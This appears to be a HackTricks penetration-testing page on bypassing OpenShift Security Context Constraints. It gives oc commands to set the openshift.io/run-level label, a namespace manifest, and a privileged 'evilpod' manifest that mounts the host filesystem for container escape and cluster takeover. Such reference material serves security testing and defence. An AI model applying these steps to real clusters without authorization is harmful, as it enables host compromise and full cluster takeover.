# Openshift - SCC bypass

{{#include ../../../banners/hacktricks-training.md}}

**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## Privileged Namespaces

By default, SCC does not apply on following projects :

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.

## Namespace Label

There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :

- Create a Namespace and Create a Pod on this Namespace
- Edit a Namespace and Create a Pod on this Namespace

```bash
$ oc auth can-i create namespaces
  yes

$ oc auth can-i patch namespaces
  yes
```

The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## Add Label

To add the label in your namespace :

```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```

To create a namespace with the label through a YAML file:

```yaml
apiVersion: v1
kind: Namespace
metadata:
  name: evil
  labels:
    openshift.io/run-level: 0
```

Now, all new pods created on the namespace should not have any SCC

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$                                            
</strong></code></pre>

In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: evilpod
  labels:
    kubernetes.io/hostname: evilpod
spec:
  hostNetwork: true #Bind pod network to the host network
  hostPID: true #See host processes
  hostIPC: true #Access host inter processes
  containers:
    - name: evil
      image: MYIMAGE
      imagePullPolicy: IfNotPresent
      securityContext:
        privileged: true
        allowPrivilegeEscalation: true
      resources:
        limits:
          memory: 200Mi
        requests:
          cpu: 30m
          memory: 100Mi
      volumeMounts:
        - name: hostrootfs
          mountPath: /mnt
  volumes:
    - name: hostrootfs
      hostPath:
        path:
```

Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### Custom labels

Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.

Try to look for custom labels if you can read some resources. Here a list of interesting resources :

- Pod
- Deployment
- Namespace
- Service
- Route

```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```

## List all privileged namespaces

```bash
$ oc get project -o yaml | grep 'run-level' -b5
```

## Advanced exploit

In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.

However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.

To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**

## References

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)



{{#include ../../../banners/hacktricks-training.md}}
